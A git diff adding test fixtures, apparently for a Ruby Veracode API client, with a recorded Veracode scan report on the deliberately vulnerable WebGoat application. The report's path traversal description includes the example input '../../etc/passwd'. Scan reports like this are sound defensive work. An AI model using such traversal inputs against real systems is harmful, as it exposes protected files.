+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:28:17 GMT
+recorded_with: VCR 2.9.3
diff --git a/spec/fixtures/veracode_cassettes/detailed.yml b/spec/fixtures/veracode_cassettes/detailed.yml
new file mode 100644
index 0000000..bf0268f
--- /dev/null
+++ b/spec/fixtures/veracode_cassettes/detailed.yml
@@ -0,0 +1,270163 @@
+---
+http_interactions:
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:06:36 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:06:36 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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